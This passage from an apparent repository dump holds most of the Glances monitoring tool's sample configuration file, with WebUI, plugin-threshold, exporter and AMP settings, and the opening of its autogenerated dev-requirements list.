Separator in the Curses and WebUI interface (between top and others plugins)\n#separator=True\n# Set the the Curses and WebUI interface left menu plugin list (comma-separated)\n#left_menu=network,wifi,connections,ports,diskio,fs,irq,folders,raid,smart,sensors,now\n# Limit the number of processes to display (in the WebUI)\n#max_processes_display=25\n#\n# Specifics options for TUI\n#--------------------------\n# Disable background color\n#disable_bg=True\n#\n# Specifics options for WebUI\n#----------------------------\n# Set URL prefix for the WebUI and the API\n# Example: url_prefix=/glances/ => http://localhost/glances/\n# Note: The final / is mandatory\n# Default is no prefix (/)\n#url_prefix=/glances/\n# Set root path for WebUI statics files\n# Why ? On Debian system, WebUI statics files are not provided.\n# You can download it in a specific folder\n# thanks to https://github.com/nicolargo/glances/issues/2021\n# then configure this folder with the webui_root_path key\n# Default is folder where glances_restful_api.py is hosted\n#webui_root_path=\n#\n# CORS options\n# Comma separated list of origins that should be permitted to make cross-origin requests.\n# Default is *\n#cors_origins=*\n# Indicate that cookies should be supported for cross-origin requests.\n# Default is False.\n# Set to True only when cors_origins is explicitly configured with specific origins.\n#cors_credentials=False\n# Comma separated list of HTTP methods that should be allowed for cross-origin requests.\n# Default is *\n#cors_methods=*\n# Comma separated list of HTTP request headers that should be supported for cross-origin requests.\n# Default is *\n#cors_headers=*\n#\n# Define SSL files (keyfile_password is optional)\n#ssl_keyfile_password=kfp\n#ssl_keyfile=./glances.local+3-key.pem\n#ssl_certfile=./glances.local+3.pem\n#\n# JWT Authentication settings\n# Secret key for signing JWT tokens (generate with: openssl rand -hex 32)\n# If not set, a random key is generated per server instance (tokens won't survive restart)\n#jwt_secret_key=your-secure-secret-key-here\n# Token expiration time in minutes (default: 60)\n#jwt_expire_minutes=60\n#\n# DNS rebinding protection for the REST API / WebUI\n# Restrict the HTTP Host header accepted by the web server.\n# Comma-separated list of hostnames or IPs. Wildcards are supported (e.g. *.example.com).\n# When this key is absent or commented out, no host filtering is applied (default behaviour).\n# Recommended for any internet-facing or multi-tenant deployment.\n#webui_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n#\n# MCP\n# Overwrite the default MCP path\n#mcp_path=/mcp\n# Allowed Host headers for the MCP SSE endpoint (DNS rebinding protection).\n# Comma-separated list. Defaults to localhost,127.0.0.1 when not set.\n# Set to * to allow any host - use only behind a trusted reverse proxy.\n#mcp_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n\n##############################################################################\n# Plugins\n##############################################################################\n\n[quicklook]\n# Set to true to disable a plugin\n# Note: you can also disable it from the command line (see --disable-plugin <plugin_name>)\ndisable=False\n# Stats list (default is cpu,mem,load)\n# Available stats are: cpu,mem,load,swap\nlist=cpu,mem,load\n# Graphical bar char used in the terminal user interface (default is |)\nbar_char=▪\n# Define CPU, MEM and SWAP thresholds in %\ncpu_careful=50\ncpu_warning=70\ncpu_critical=90\nmem_careful=50\nmem_warning=70\nmem_critical=90\nswap_careful=50\nswap_warning=70\nswap_critical=90\n# Source: http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages\n# With 1 CPU core, the load should be lower than 1.00 ~ 100%\nload_careful=70\nload_warning=100\nload_critical=500\n\n[system]\n# This plugin display the first line in the Glances UI with:\n# Hostname / Operating system name / Architecture information\n# Set to true to disable a plugin\ndisable=False\n# Default refresh rate is 60 seconds\n#refresh=60\n# System information to display (a string where {key} will be replaced by the value)\n# Available information are: hostname, os_name, os_version, os_arch, linux_distro, platform\n#system_info_msg= | My {os_name} system |\n\n[cpu]\ndisable=False\n# See https://scoutapm.com/blog/slow_server_flow_chart\n#\n# I/O wait percentage should be lower than 1/# (# = Logical CPU cores)\n# Leave commented to just use the default config:\n# Careful=1/#*100-20% / Warning=1/#*100-10% / Critical=1/#*100\n#iowait_careful=30\n#iowait_warning=40\n#iowait_critical=50\n#\n# Total % is 100 - idle\ntotal_careful=65\ntotal_warning=75\ntotal_critical=85\ntotal_log=True\n#\n# Default values if not defined: 50/70/90 (except for iowait)\nuser_careful=50\nuser_warning=70\nuser_critical=90\nuser_log=False\n#user_critical_action=echo \"{{time}} User CPU {{user}} higher than {{critical}}\" > /tmp/cpu.alert\n#\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\nsystem_log=False\n#\nsteal_careful=50\nsteal_warning=70\nsteal_critical=90\n#steal_log=True\n#\n# Context switch limit (core / second)\n# Leave commented to just use the default config critical is 50000*(Logical CPU cores)\n#ctx_switches_careful=10000\n#ctx_switches_warning=12000\n#ctx_switches_critical=14000\n\n[percpu]\ndisable=False\n# Define the maximum number of CPU displayed at a time\n# If the number of CPU is higher than the one configured in max_cpu_display then:\n# - display top 'max_cpu_display' (sorted by CPU consumption)\n# - a last line will be added with the mean of all other CPUs\nmax_cpu_display=4\n# Define CPU thresholds in %\n# Default values if not defined: 50/70/90\nuser_careful=50\nuser_warning=70\nuser_critical=90\niowait_careful=50\niowait_warning=70\niowait_critical=90\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\n\n[gpu]\ndisable=False\n# Default GPU load thresholds in %\nproc_careful=50\nproc_warning=70\nproc_critical=90\n# Default GPU memory thresholds in %\nmem_careful=50\nmem_warning=70\nmem_critical=90\n# Default GPU temperature thresholds in degrees Celsus\ntemperature_careful=60\ntemperature_warning=70\ntemperature_critical=80\n\n[npu]\ndisable=True\n# Default NPU load thresholds in %\nload_careful=50\nload_warning=70\nload_critical=90\n# Default NPU frequency thresholds in %\nfreq_careful=50\nfreq_warning=70\nfreq_critical=90\n\n[mem]\ndisable=False\n# Display available memory instead of used memory\n#available=True\n# Define RAM thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n#critical_action_repeat=echo \"{{time}} {{percent}} higher than {{critical}}\"\" >> /tmp/memory.alert\n\n[memswap]\ndisable=False\n# Define SWAP thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n#warning_action=echo \"{{time}} {{percent}} higher than {{warning}}\"\" > /tmp/memory.alert\n\n[load]\ndisable=False\n# Define LOAD thresholds\n# Value * number of cores\n# Default values if not defined: 0.7/1.0/5.0 per number of cores\n# Source: http://blog.scoutapp.com/articles/2009/07/31/understanding-load-averages\n#         http://www.linuxjournal.com/article/9001\ncareful=0.7\nwarning=1.0\ncritical=5.0\n#log=False\n\n[network]\ndisable=False\n# Default bitrate thresholds in % of the network interface speed\n# Default values if not defined: 70/80/90\nrx_careful=70\nrx_warning=80\nrx_critical=90\ntx_careful=70\ntx_warning=80\ntx_critical=90\n# Define the list of hidden network interfaces (comma-separated regexp)\nhide=docker.*,lo\n# Define the list of wireless network interfaces to be show (comma-separated)\n#show=docker.*\n# Automatically hide interface not up (default is False)\nhide_no_up=True\n# Automatically hide interface with no IP address (default is False)\nhide_no_ip=True\n# Set hide_zero to True to automatically hide interface with no traffic\nhide_zero=False\n# Set hide_threshold_bytes to an integer value to automatically hide\n# interface with traffic less or equal than this value\n#hide_threshold_bytes=0\n# It is possible to overwrite the bitrate thresholds per interface\n# WLAN 0 Default limits (in bits per second aka bps) for interface bitrate\n#wlan0_rx_careful=4000000\n#wlan0_rx_warning=5000000\n#wlan0_rx_critical=6000000\n#wlan0_rx_log=True\n#wlan0_tx_careful=700000\n#wlan0_tx_warning=900000\n#wlan0_tx_critical=1000000\n#wlan0_tx_log=True\n#wlan0_rx_critical_action=echo \"{{time}} {{interface_name}} RX {{bytes_recv_rate_per_sec}}Bps\" > /tmp/network.alert\n# Alias for network interface name\n#alias=wlp0s20f3:WIFI\n\n[ip]\n# Disable display of private IP address\ndisable=False\n# Configure the online service where public IP address information will be downloaded\n# - public_disabled: Disable public IP address information (set to True for offline platform)\n# - public_refresh_interval: Refresh interval between to calls to the online service\n# - public_api: URL of the API (the API should return an JSON object)\n# - public_username: Login for the online service (if needed)\n# - public_password: Password for the online service (if needed)\n# - public_field: Field name of the public IP address in onlibe service JSON message\n# - public_template: Template to build the public message\n#\n# Example for IPLeak service:\n# public_api=https://ipv4.ipleak.net/json/\n# public_field=ip\n# public_template={ip} {continent_name}/{country_name}/{city_name}\n#\npublic_disabled=True\npublic_refresh_interval=300\npublic_api=https://ipv4.ipleak.net/json/\n#public_username=<myname>\n#public_password=<mysecret>\npublic_field=ip\npublic_template={continent_name}/{country_name}/{city_name}\n\n[connections]\n# Display additional information about TCP connections\n# This plugin is disabled by default because it consumes lots of CPU\ndisable=True\n# nf_conntrack thresholds in %\nnf_conntrack_percent_careful=70\nnf_conntrack_percent_warning=80\nnf_conntrack_percent_critical=90\n\n[wifi]\ndisable=False\n# Define SIGNAL thresholds in dBm (lower is better...)\n# Based on: http://serverfault.com/questions/501025/industry-standard-for-minimum-wifi-signal-strength\ncareful=-65\nwarning=-75\ncritical=-85\n\n[diskio]\ndisable=False\n# Define the list of hidden disks (comma-separated regexp)\n#hide=sda2,sda5,loop.*\nhide=loop.*,/dev/loop.*\n# Set hide_zero to True to automatically hide disk with no read/write\nhide_zero=False\n# Set hide_threshold_bytes to an integer value to automatically hide\n# interface with traffic less or equal than this value\n#hide_threshold_bytes=0\n# Define the list of disks to be show (comma-separated)\n#show=sda.*\n# Alias for sda1 and sdb1\n#alias=sda1:SystemDisk,sdb1:DataDisk\n# Default latency thresholds (in ms) (rx = read / tx = write)\nrx_latency_careful=10\nrx_latency_warning=20\nrx_latency_critical=50\ntx_latency_careful=10\ntx_latency_warning=20\ntx_latency_critical=50\n# Set latency thresholds (latency in ms) for a given disk name (rx = read / tx = write)\n# dm-0_rx_latency_careful=10\n# dm-0_rx_latency_warning=20\n# dm-0_rx_latency_critical=50\n# dm-0_rx_latency_log=False\n# dm-0_tx_latency_careful=10\n# dm-0_tx_latency_warning=20\n# dm-0_tx_latency_critical=50\n# dm-0_tx_latency_log=False\n# There is no default bitrate thresholds for disk (because it is not possible to know the disk speed)\n# Set bitrate thresholds (in bytes per second) for a given disk name (rx = read / tx = write)\n#dm-0_rx_careful=4000000000\n#dm-0_rx_warning=5000000000\n#dm-0_rx_critical=6000000000\n#dm-0_rx_log=False\n#dm-0_tx_careful=700000000\n#dm-0_tx_warning=900000000\n#dm-0_tx_critical=1000000000\n#dm-0_tx_log=False\n\n[fs]\ndisable=False\n# Define the list of file system to hide (comma-separated regexp)\nhide=/boot.*,.*/snap.*\n# Define the list of file system to show (comma-separated regexp)\n#show=/,/srv\n# Define filesystem space thresholds in %\n# Default values if not defined: 50/70/90\ncareful=50\nwarning=70\ncritical=90\n# It is also possible to define per mount point value\n# Example: /_careful=40\n#/_careful=1\n#/_warning=5\n#/_critical=10\n#/_critical_action=echo \"{{time}} {{mnt_point}} filesystem space {{percent}}% higher than {{critical}}%\" > /tmp/fs.alert\n# Allow additional file system types (comma-separated FS type)\n#allow=shm\n# Alias for root file system\n#alias=/:Root,/zfspool:ZFS\n\n[irq]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/irq.html\n# This plugin is disabled by default\ndisable=True\n\n[folders]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/folders.html\ndisable=False\n# Define a folder list to monitor\n# The list is composed of items (list_#nb <= 10)\n# An item is defined by:\n# * path: absolute path\n# * careful: optional careful threshold (in MB)\n# * warning: optional warning threshold (in MB)\n# * critical: optional critical threshold (in MB)\n# * refresh: interval in second between two refreshes\n#folder_1_path=/tmp\n#folder_1_careful=2500\n#folder_1_warning=3000\n#folder_1_critical=3500\n#folder_1_refresh=60\n#folder_2_path=/home/nicolargo/Videos\n#folder_2_warning=17000\n#folder_2_critical=20000\n#folder_3_path=/nonexisting\n#folder_4_path=/root\n\n[cloud]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/cloud.html\n# This plugin is disabled by default\ndisable=True\n\n[raid]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/raid.html\n# This plugin is disabled by default\ndisable=True\n\n[smart]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/smart.html\n# This plugin is disabled by default\ndisable=True\n# Define the list of sensors to hide (comma-separated regexp)\n#hide=.*Hide_this_driver.*\n# Define the list of sensors to show (comma-separated regexp)\n#show=.*Drive_Temperature.*\n# List of attributes to hide (comma separated)\n#hide_attributes=Self-tests,Errors\n\n[hddtemp]\ndisable=False\n# Define hddtemp server IP and port (default is 127.0.0.1 and 7634 (TCP))\nhost=127.0.0.1\nport=7634\n\n[sensors]\n# Documentation: https://glances.readthedocs.io/en/latest/aoa/sensors.html\ndisable=False\n# Set the refresh multiplicator for the sensors\n# By default refresh every Glances refresh * 5 (increase to reduce CPU consumption)\n#refresh=5\n# Hide some sensors (comma separated list of regexp)\nhide=unknown.*\n# Show only the following sensors (comma separated list of regexp)\n#show=CPU.*\n# Sensors core thresholds (in Celsius...)\n# By default values are grabbed from the system\n# Overwrite thresholds for a specific sensor\n# temperature_core_Ambient_careful=40\n# temperature_core_Ambient_warning=60\n# temperature_core_Ambient_critical=85\n# temperature_core_Ambient_log=True\n# temperature_core_Ambient_critical_action=echo \"{{time}} {{label}} temperature {{value}}{{unit}} higher than {{critical}}{{unit}}\" > /tmp/temperature.alert\n# Overwrite thresholds for a specific type of sensor\n#temperature_core_careful=45\n#temperature_core_warning=65\n#temperature_core_critical=80\n# Temperatures threshold in °C for hddtemp\n# Default values if not defined: 45/52/60\n#temperature_hdd_careful=45\n#temperature_hdd_warning=52\n#temperature_hdd_critical=60\n# Battery threshold in %\n# Default values if not defined: 70/80/90\n#battery_careful=70\n#battery_warning=80\n#battery_critical=90\n# Fan speed threshold in RPM\n#fan_speed_careful=100\n# Sensors alias\n#alias=core 0:CPU Core 0,core 1:CPU Core 1\n\n[processcount]\ndisable=False\n# If you want to change the refresh rate of the processing list, please uncomment:\n#refresh=10\n\n[processlist]\ndisable=False\n# Sort key: if not defined, the sort is automatically done by Glances (recommended)\n# Should be one of the following:\n# cpu_percent, memory_percent, io_counters, name, cpu_times, username\n#sort_key=memory_percent\n# List of stats to disable (not grabed and not display)\n# Stats that can be disabled: cpu_percent,memory_info,memory_percent,username,cpu_times,num_threads,nice,status,io_counters,cmdline,cpu_num\n# Stats that can not be disable: pid,name\ndisable_stats=cpu_num\n# Disable display of virtual memory\n#disable_virtual_memory=True\n# Define CPU/MEM (per process) thresholds in %\n# Default values if not defined: 50/70/90\ncpu_careful=50\ncpu_warning=70\ncpu_critical=90\nmem_careful=50\nmem_warning=70\nmem_critical=90\n#\n# Nice priorities range from -20 to 19.\n# Configure nice levels using a comma-separated list.\n#\n# Nice: Example 1, non-zero is warning (default behavior)\nnice_warning=-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19\n#\n# Nice: Example 2, low priority processes escalate from careful to critical\n#nice_ok=O\n#nice_careful=1,2,3,4,5,6,7,8,9\n#nice_warning=10,11,12,13,14\n#nice_critical=15,16,17,18,19\n#\n# Status: define threshold regarding the process status (first letter of process status)\n# R: Running, S: Sleeping, Z: Zombie (complete list here https://psutil.readthedocs.io/en/latest/#process-status-constants)\nstatus_ok=R,W,P,I\nstatus_critical=Z,D\n# Define the list of processes to export using:\n# a comma-separated list of Glances filter\n#export=.*firefox.*,pid:1234\n# Define a list of process to focus on (comma-separated list of Glances filter)\n#focus=.*firefox.*,.*python.*\n\n[ports]\ndisable=False\n# Interval in second between two scans\n# Ports scanner plugin configuration\nrefresh=30\n# Set the default timeout (in second) for a scan (can be overwritten in the scan list)\ntimeout=3\n# If port_default_gateway is True, add the default gateway on top of the scan list\nport_default_gateway=True\n#\n# Define the scan list (1 < x < 255)\n# port_x_host (name or IP) is mandatory\n# port_x_port (TCP port number) is optional (if not set, use ICMP)\n# port_x_description is optional (if not set, define to host:port)\n# port_x_timeout is optional and overwrite the default timeout value\n# port_x_rtt_warning is optional and defines the warning threshold in ms\n#\n#port_1_host=192.168.0.1\n#port_1_port=80\n#port_1_description=Home Box\n#port_1_timeout=1\n#port_2_host=www.free.fr\n#port_2_description=My ISP\n#port_3_host=www.google.com\n#port_3_description=Internet ICMP\n#port_3_rtt_warning=1000\n#port_4_description=Internet Web\n#port_4_host=www.google.com\n#port_4_port=80\n#port_4_rtt_warning=1000\n#\n# Define Web (URL) monitoring list (1 < x < 255)\n# web_x_url is the URL to monitor (example: http://my.site.com/folder)\n# web_x_description is optional (if not set, define to URL)\n# web_x_timeout is optional and overwrite the default timeout value\n# web_x_rtt_warning is optional and defines the warning respond time in ms (approximately)\n#\n#web_1_url=https://blog.nicolargo.com\n#web_1_description=My Blog\n#web_1_rtt_warning=3000\n#web_2_url=https://github.com\n#web_3_url=http://www.google.fr\n#web_3_description=Google Fr\n#web_4_url=https://blog.nicolargo.com/nonexist\n#web_4_description=Intranet\n\n[vms]\ndisable=True\n# Define the maximum VMs size name (default is 20 chars)\nmax_name_size=20\n# By default, Glances only display running VMs with states:\n# 'Running', 'Paused', 'Starting' or 'Restarting'\n# Set the following key to True to display all VMs regarding their states\nall=False\n\n[containers]\ndisable=False\n# Only show specific containers (comma-separated list of container name or regular expression)\n# Comment this line to display all containers (default configuration)\n; show=telegraf\n# Hide some containers (comma-separated list of container name or regular expression)\n# Comment this line to display all containers (default configuration)\n; hide=telegraf\n# Define the maximum docker size name (default is 20 chars)\nmax_name_size=20\n# List of stats to disable (not display)\n# Following stats can be disabled: name,status,uptime,cpu,mem,diskio,networkio,ports,command\ndisable_stats=command\n# Thresholds for CPU and MEM (in %)\n; cpu_careful=50\n; cpu_warning=70\n; cpu_critical=90\n; mem_careful=20\n; mem_warning=50\n; mem_critical=70\n#\n# Per container thresholds\n; containername_cpu_careful=10\n; containername_cpu_warning=20\n; containername_cpu_critical=30\n#\n# By default, Glances only display running containers\n# Set the following key to True to display all containers\nall=False\n# Define Podman sock\n; podman_sock=unix:///run/user/1000/podman/podman.sock\n\n[amps]\n# AMPs configuration are defined in the bottom of this file\ndisable=False\n\n[alert]\ndisable=False\n# Maximum number of events to display (default is 10 events)\n;max_events=10\n# Minimum duration for an event to be taken into account (default is 6 seconds)\n;min_duration=6\n# Minimum time between two events of the same type (default is 6 seconds)\n# This is used to avoid too many alerts for the same event\n# Events will be merged\n;min_interval=6\n\n##############################################################################\n# Browser mode - Static servers definition\n##############################################################################\n\n[serverlist]\n# Define columns (comma separated list of <plugin>:<field>:(<key>)) to grab/display\n# Default is: system:hr_name,load:min5,cpu:total,mem:percent\n# You can also add stats with key, like sensors:value:Ambient (key is case sensitive)\n#columns=system:hr_name,load:min5,cpu:total,mem:percent,memswap:percent,sensors:value:Ambient,sensors:value:Composite\n# Define the static servers list\n# _protocol can be: rpc (default if not defined) or rest\n# List is limited to 256 servers max (1 to 256)\n#server_1_name=localhost\n#server_1_alias=Local WebUI\n#server_1_port=61266\n#server_1_protocol=rest\n#server_2_name=localhost\n#server_2_alias=My local PC\n#server_2_port=61209\n#server_2_protocol=rpc\n#server_3_name=192.168.0.17\n#server_3_alias=Another PC on my network\n#server_3_port=61209\n#server_3_protocol=rpc\n#server_4_name=notagooddefinition\n#server_4_port=61237\n\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# Syntax: host=password\n# Where: host is the hostname\n#        password is the clear password\n# Additionally (and optionally) a default password could be defined\n#localhost=abc\n#default=defaultpassword\n#\n# Define the path of the local '.pwd' file (default is system one)\n#local_password_path=~/.config/glances\n\n##############################################################################\n# Exports\n##############################################################################\n\n[export]\n# Common section for all exporters\n# Do not export following fields (comma separated list of regex)\n#exclude_fields=.*_critical,.*_careful,.*_warning,.*\\.key$\n\n[graph]\n# Configuration for the --export graph option\n# Set the path where the graph (.svg files) will be created\n# Can be overwrite by the --graph-path command line option\npath=/tmp/glances\n# It is possible to generate the graphs automatically by setting the\n# generate_every to a non zero value corresponding to the seconds between\n# two generation. Set it to 0 to disable graph auto generation.\ngenerate_every=0\n# See following configuration keys definitions in the Pygal lib documentation\n# http://pygal.org/en/stable/documentation/index.html\nwidth=800\nheight=600\nstyle=DarkStyle\n\n[influxdb]\n# !!!\n# Will be DEPRECATED in future release.\n# Please have a look on the new influxdb3 export module\n# !!!\n# Configuration for the --export influxdb option\n# https://influxdb.com/\nhost=localhost\nport=8086\nprotocol=http\nuser=root\npassword=root\ndb=glances\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[influxdb2]\n# Configuration for the --export influxdb2 option\n# https://influxdb.com/\nhost=localhost\nport=8086\nprotocol=http\norg=nicolargo\nbucket=glances\ntoken=PUT_YOUR_INFLUXDB2_TOKEN_HERE\n# Set the interval between two exports (in seconds)\n# If the interval is set to 0, the Glances refresh time is used (default behavor)\n#interval=0\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[influxdb3]\n# Configuration for the --export influxdb3 option\n# https://influxdb.com/\nhost=http://localhost:8181\norg=nicolargo\ndatabase=glances\ntoken=PUT_YOUR_INFLUXDB3_TOKEN_HERE\n# Set the interval between two exports (in seconds)\n# If the interval is set to 0, the Glances refresh time is used (default behavor)\n#interval=0\n# Prefix will be added for all measurement name\n# Ex: prefix=foo\n#     => foo.cpu\n#     => foo.mem\n# You can also use dynamic values\n#prefix=foo\n# Following tags will be added for all measurements\n# You can also use dynamic values.\n# Note: hostname and name (for process) are always added as a tag\n#tags=foo:bar,spam:eggs,domain:`domainname`\n\n[cassandra]\n# Configuration for the --export cassandra option\n# Also works for the ScyllaDB\n# https://influxdb.com/ or http://www.scylladb.com/\nhost=localhost\nport=9042\nprotocol_version=3\nkeyspace=glances\nreplication_factor=2\n# If not define, table name is set to host key\ntable=localhost\n# If not define, username and password will not be used\n#username=cassandra\n#password=password\n\n[opentsdb]\n# Configuration for the --export opentsdb option\n# http://opentsdb.net/\nhost=localhost\nport=4242\n#prefix=glances\n#tags=foo:bar,spam:eggs\n\n[statsd]\n# Configuration for the --export statsd option\n# https://github.com/etsy/statsd\nhost=localhost\nport=8125\n#prefix=glances\n\n[elasticsearch]\n# Configuration for the --export elasticsearch option\n# Data are available via the ES RESTful API. ex: URL/<index>/cpu\n# https://www.elastic.co\nscheme=http\nhost=localhost\nport=9200\nindex=glances\n\n[riemann]\n# Configuration for the --export riemann option\n# http://riemann.io\nhost=localhost\nport=5555\n\n[rabbitmq]\n# Configuration for the --export rabbitmq option\nhost=localhost\nport=5672\nuser=guest\npassword=guest\nqueue=glances_queue\n#protocol=amqps\n\n[mqtt]\n# Configuration for the --export mqtt option\nhost=localhost\n# Overwrite device name in the topic\n#devicename=localhost\nport=8883\ntls=false\nuser=guest\npassword=guest\ntopic=glances\ntopic_structure=per-metric\ncallback_api_version=2\n\n[couchdb]\n# Configuration for the --export couchdb option\n# https://www.couchdb.org\nhost=localhost\nport=5984\ndb=glances\nuser=admin\npassword=admin\n\n[mongodb]\n# Configuration for the --export mongodb option\n# https://www.mongodb.com\nhost=localhost\nport=27017\ndb=glances\nuser=root\npassword=example\n\n[kafka]\n# Configuration for the --export kafka option\n# http://kafka.apache.org/\nhost=localhost\nport=9092\ntopic=glances\n#compression=gzip\n# Tags will be added for all events\n#tags=foo:bar,spam:eggs\n# You can also use dynamic values\n#tags=hostname:`hostname -f`\n\n[zeromq]\n# Configuration for the --export zeromq option\n# http://www.zeromq.org\n# Use * to bind on all interfaces\nhost=*\nport=5678\n# Glances envelopes the stats in a publish message with two frames:\n# - First frame containing the following prefix (STRING)\n# - Second frame with the Glances plugin name (STRING)\n# - Third frame with the Glances plugin stats (JSON)\nprefix=G\n\n[prometheus]\n# Configuration for the --export prometheus option\n# https://prometheus.io\n# Create a Prometheus exporter listening on localhost:9091 (default configuration)\n# Metric are exporter using the following name:\n#   <prefix>_<plugin>_<stats>{labelkey:labelvalue}\n# Note: You should add this exporter to your Prometheus server configuration:\n#   scrape_configs:\n#    - job_name: 'glances_exporter'\n#      scrape_interval: 5s\n#      static_configs:\n#        - targets: ['localhost:9091']\n#\n# Labels will be added for all measurements (default is src:glances)\n#  labels=foo:bar,spam:eggs\n# You can also use dynamic values\n#  labels=system:`uname -s`\n#\nhost=localhost\nport=9091\n#prefix=glances\nlabels=src:glances\n\n[restful]\n# Configuration for the --export restful option\n# Example, export to http://localhost:6789/\nhost=localhost\nport=6789\nprotocol=http\npath=/\n\n[graphite]\n# Configuration for the --export graphite option\n# https://graphiteapp.org/\nhost=localhost\nport=2003\n# Prefix will be added for all measurement name\nprefix=glances\n# System name added between the prefix and the stats\n# By default, system_name = FQDN\n#system_name=mycomputer\n\n[timescaledb]\n# Configuration for the --export timescaledb option\n# https://www.timescale.com/\nhost=localhost\nport=5432\ndb=glances\nuser=postgres\npassword=password\n# Overwrite device name (default is the FQDN)\n# Most of the time, you should not overwrite this value\n#hostname=mycomputer\n\n[nats]\n# Configuration for the --export nats option\n# https://nats.io/\n# Host is a separated list of NATS nodes\nhost=nats://localhost:4222\n# Prefix for the subjects (default is 'glances')\nprefix=glances\n\n[duckdb]\n# database defines where data are stored, can be one of:\n# :memory: (see https://duckdb.org/docs/stable/clients/python/dbapi#in-memory-connection)\n# :memory:glances (see https://duckdb.org/docs/stable/clients/python/dbapi#in-memory-connection)\n# /path/to/glances.db (see https://duckdb.org/docs/stable/clients/python/dbapi#file-based-connection)\n# Or anyone else supported by the API (see https://duckdb.org/docs/stable/clients/python/dbapi)\ndatabase=:memory:\n\n##############################################################################\n# AMPS\n# * enable: Enable (true) or disable (false) the AMP\n# * regex: Regular expression to filter the process(es)\n# * refresh: The AMP is executed every refresh seconds\n# * one_line: (optional) Force (if true) the AMP to be displayed in one line\n# * command: (optional) command to execute when the process is detected (thk to the regex)\n# * countmin: (optional) minimal number of processes\n#             A warning will be displayed if number of process < count\n# * countmax: (optional) maximum number of processes\n#             A warning will be displayed if number of process > count\n# * <foo>: Others variables can be defined and used in the AMP script\n##############################################################################\n\n[amp_dropbox]\n# Use the default AMP (no dedicated AMP Python script)\n# Check if the Dropbox daemon is running\n# Every 3 seconds, display the 'dropbox status' command line\nenable=false\nregex=.*dropbox.*\nrefresh=3\none_line=false\ncommand=dropbox status\ncountmin=1\n\n[amp_python]\n# Use the default AMP (no dedicated AMP Python script)\n# Monitor all the Python scripts\n# Alert if more than 20 Python scripts are running\nenable=false\nregex=.*python.*\nrefresh=3\ncountmax=20\n\n[amp_conntrack]\n# Use && separator for multiple commands\n# If the regex key is not defined, the AMP will be executed every refresh second\n# and the process count will not be displayed (countmin and countmax will be ignore)\nenable=false\nrefresh=30\none_line=false\ncommand=sysctl net.netfilter.nf_conntrack_count && sysctl net.netfilter.nf_conntrack_max\n\n[amp_nginx]\n# Use the NGinx AMP\n# Nginx status page should be enable (https://easyengine.io/tutorials/nginx/status-page/)\nenable=false\nregex=\\/usr\\/sbin\\/nginx\nrefresh=60\none_line=false\nstatus_url=http://localhost/nginx_status\n\n[amp_systemd]\n# Use the Systemd AMP\nenable=false\nregex=\\/lib\\/systemd\\/systemd\nrefresh=30\none_line=true\nsystemctl_cmd=/bin/systemctl --plain\n\n[amp_systemv]\n# Use the Systemv AMP\nenable=false\nregex=\\/sbin\\/init\nrefresh=30\none_line=true\nservice_cmd=/usr/bin/service --status-all\n"
  },
  {
    "path": "dev-requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --no-hashes --only-dev --output-file dev-requirements.txt\nalabaster==1.0.0\n    # via sphinx\nannotated-doc==0.0.4\n    # via typer\nannotated-types==0.7.0\n    # via pydantic\nanyio==4.12.1\n    # via\n    #   httpx\n    #   mcp\n    #   sse-starlette\n    #   starlette\nattrs==25.4.0\n    # via\n    #   glom\n    #   jsonschema\n    #   outcome\n    #   referencing\n    #   reuse\n    #   semgrep\n    #   trio\nbabel==2.18.0\n    # via sphinx\nboltons==21.0.0\n    # via\n    #   face\n    #   glom\n    #   semgrep\nboolean-py==5.0\n    # via license-expression\nbracex==2.6\n    # via wcmatch\ncertifi==2026.2.25\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\n    #   selenium\ncffi==2.0.0 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy'\n    # via\n    #   cryptography\n    #   trio\ncfgv==3.5.0\n    # via pre-commit\ncharset-normalizer==3.4.5\n    # via\n    #   python-debian\n    #   requests\nclick==8.1.8\n    # via\n    #   click-option-group\n    #   reuse\n    #   semgrep\n    #   typer\n    #   uvicorn\nclick-option-group==0.5.9\n    # via semgrep\ncodespell==2.4.2\ncolorama==0.4.6\n    # via\n    #   click\n    #   pytest\n    #   semgrep\n    #   sphinx\ncontourpy==1.3.2 ; python_full_version < '3.11'\n    # via matplotlib\ncontourpy==1.3.3 ; python_full_version >= '3.11'\n    # via matplotlib\ncryptography==46.0.5\n    # via pyjwt\ncycler==0.12.1\n    # via matplotlib\ndistlib==0.4.0\n    # via virtualenv\ndocutils==0.21.2 ; python_full_version < '3.11'\n    # via\n    #   rstcheck-core\n    #   sphinx\n    #   sphinx-rtd-theme\ndocutils==0.22.4 ; python_full_version >= '3.11'\n    # via\n    #   rstcheck-core\n    #   sphinx\n    #   sphinx-rtd-theme\nexceptiongroup==1.2.2\n    # via\n    #   anyio\n    #   pytest\n    #   semgrep\n    #   trio\n    #   trio-websocket\nface==26.0.0\n    # via glom\nfilelock==3.25.2\n    # via\n    #   python-discovery\n    #   virtualenv\nfonttools==4.62.1\n    # via matplotlib\nglom==25.12.0\n    # via 